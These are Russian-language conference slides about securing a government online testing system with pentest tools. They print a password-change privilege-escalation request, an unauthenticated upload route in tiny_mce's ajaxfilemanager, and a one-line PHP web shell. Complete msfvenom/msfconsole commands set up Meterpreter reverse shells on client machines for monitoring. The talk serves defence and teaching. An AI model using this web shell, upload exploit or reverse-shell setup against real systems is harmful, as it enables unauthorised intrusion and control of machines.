Техники пентеста для активной защитыMykola Ovcharuk (@movcharuk)
Mykola Ilin (@mykolailin)
$ whoamiНиколай Овчарук● консультант KievInfoSecurity Ltd, инженер безопасности Volia ISP● network security dcua CTF team
Николай Ильин● CTO KievInfoSecurity Ltd, научный сотрудник НТУУ “КПИ”● сооснователь DefCon-UA , лидер OWASP Kiev, капитан dcua CTF team● Email: [email protected]
2
Содержание1. Исходные данные2. Задачи3. Защита хостинга4. Аудит системы тестирования5. Solver6. Контроль клиентских машин7. Инциденты8. Выводы
3
Исходные данные● LEMP● Веб-приложение на PHP● Зоопарк из ~2k клиентских машин● Открытый канал клиент-сервер
4
Задачи● защита от вмешательства в процесс тестирования● контроль целостности результатов тестирования● обеспечение доступности системы
5
Защита хостинга● Обновление системы● IP-фильтрация● Логирование на внешний независимый сервер● Резервное копирование
6
Аудит системы тестированияprivilege escalation
POST /users/password/645 HTTP/1.1Host: ***.gov.uaContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestReferer: http://***.gov.ua/users/update/645Content-Length: 24Cookie: PHPSESSID=l90s0ohv5v…04sqd23;YII_CSRF_TOKEN=cd6fc8cf9110…1258473e6b512Connection: keep-alive
users%5Bpassword%5D=1234
HTTP/1.1 200 OK
7
Аудит системы тестированияpreauth remote code execution
Расширение tiny_mce, плагин ajaxfilemanager позволяет загружать произвольные файлы без аутентификации
http://***.gov.ua/assets/[6 hexdigits]/jscripts/tiny_mce/plugins/ajaxfilemanager/ajaxfilemanager.php
Эксплуатируется без дополнительных средств
8
Аудит системы тестирования
9
Аудит системы тестирования
10
Аудит системы тестирования - 3Notepad, web shell s.php
<?=`$_GET[1]`;?>
11
Аудит системы тестирования - 3
12
Аудит системы тестирования
13
Аудит системы тестирования
14
Аудит системы тестирования
15
Аудит системы тестирования
16
Аудит системы тестирования
17
Solver~ 100 строк кода, 2 секунды и 100% результат
$ time ./gp_solver.pysession <Cookie PHPSESSID=... for zzz.gov.ua/>logged in as K00000...5059:5068-20345 5145:5154-20692 6966:6975-27980 8126:8135-32626 4209:4218-16952 6754:6763-27130 6370:6379-25593test finishedRESULT 100%./gp_solver.py 1.89s user 0.30s system 11% cpu 19.342 total
В промышленном использовании -- JavaScript реализация, Ctrl-C/Ctrl-V address barПодсветка правильных решений
18
SolverИспользованием солвера добились:
● Демонстрация бреши => изменение архитектуры● Нагрузочное тестирование => оптимизация системных настроек
19
Контроль клиентских машин● Терминальный доступ к системе тестирования● Meterpreter для контроля процессов и не только
20
Контроль клиентских машин | Meterpreter● Мониторинг системных процессов● Printscreen, в случае подозрения на фрод● Дамп памяти + volatility при анализе инцидентов
21
Контроль клиентских машин | MeterpreterПример генерации пейлоада:$ msfvenom -p windows/meterpreter/reverse_winhttps LHOST=$IP LPORT=$Port PayloadUUIDTracking=true \HandlerSSLCert=./$Cert.pem StagerVerifySSLCert=true PayloadUUIDName=$UUIDName -f exe -o ./$UUIDName.exe
Ждем подключений:$ msfconsole -r /root/.msf4/msfconsole.rc -q -x 'use exploit/multi/handler; set PAYLOAD \windows/meterpreter/reverse_winhttps; set LHOST $IP; set LPORT $Port; set HandlerSSLCert ./Cert.pem; \set ExitOnSession false; set StagerVerifySSLCert true; set IgnoreUnknownPayloads true; \set AutoRunScript multiscript -rc ./run.txt; exploit -j -z'
Контролируется целостность шеллкода при передаче, защита от MITM
22
Контроль клиентских машин | Meterpreter$ cat /root/.msf4/payloads.json "2b246a24f46aa2": { "arch": "x86", "platform": "windows", "payload": "payload/windows/meterpreter/reverse_winhttps", "datastore": { "AutoSystemInfo": true, "AutoVerifySession": true, "HANDLERSSLCERT": "./Cert.pem", "PayloadProxyIE": true, "PayloadUUIDTracking": true, "StagerVerifySSLCert": true }, "name": "k0000", "urls": [ "/KyRpaiT0buKeVp9XyMccFH...DKcycuab5Xj5fNpo-muQowoWzbWn180rRT3IH7JqaL" ]
23
Контроль клиентских машин | Meterpretermsf exploit(handler) > sessions -l<…> 118 meterpreter x86/win32 WS14\User @ WS14 x.x.x.x:13788 -> y.y.y.y:63836 (172.16.1.142) 119 meterpreter x86/win32 WS221\User @ WS221 x.x.x.x:13788 -> y.y.y.y:63837 (172.16.1.200) 120 meterpreter x86/win32 WS223\User @ WS223 x.x.x.x:13788 -> y.y.y.y:63838 (172.16.1.213) 121 meterpreter x86/win32 WS141\Admin @ WS141 x.x.x.x:13788 -> y.y.y.y:63413 (172.16.1.68) 122 meterpreter x86/win32 PC\Administrator @ PC x.x.x.x:13788 -> y.y.y.y:56938 (172.16.180.79)
24
Контроль клиентских машин | MeterpreterОпрос всех машин:
<ruby>framework.sessions.each do |num,session| print_status("Session #{num}") session.sys.process.get_processes().each do |x| print_status(" #{num} = Process: #{x['pid']} #{x['name']}") endend</ruby>+ run winenum, сравнение конфигурации до и после начала теста
25
Контроль клиентских машин | Meterpreter3 = Process: 1048 svchost.exe3 = Process: 1176 spoolsv.exe3 = Process: 1212 svchost.exe3 = Process: 1428 taskhost.exe3 = Process: 1548 explorer.exe3 = Process: 1980 svchost.exe3 = Process: 2016 TeamViewer_Service.exe3 = Process: 1708 hkcmd.exe3 = Process: 1700 igfxpers.exe3 = Process: 2308 VDeck.exe3 = Process: 2316 USBGuard.exe3 = Process: 2328 jusched.exe3 = Process: 2736 egui.exe3 = Process: 2768 SearchIndexer.exe
26
Инциденты● Неполный физический контроль на местах, <1 представитель на
аудиторию (помощь волонтеров)● Не все уязвимости исправлены — вход под одним аккаунтом из 2 мест,
принимается первое решение (детектируется в аудите логов)● Разработчики пишут код после начала промышленного тестирования и
имеют доступ к БД (детектируется при сверке статистики)
27
Выводы● Время промышленной эксплуатации системы и предыдущие пентесты не
гарантируют безопасность.● как разработчики, так и предыдущие аудиторы могут оказаться идиотами
● не зависит от заверений разработчиков, портфолио аудиторов и “cертификатов”, это не CTF — объективные оценки квалификации часто отсутствуют
● Многие технологии “атакующей стороны” могут быть полезны при защите.
● средства вторжения для нагрузочного тестирования● средства доступа для контроля оконечных устройств
28
29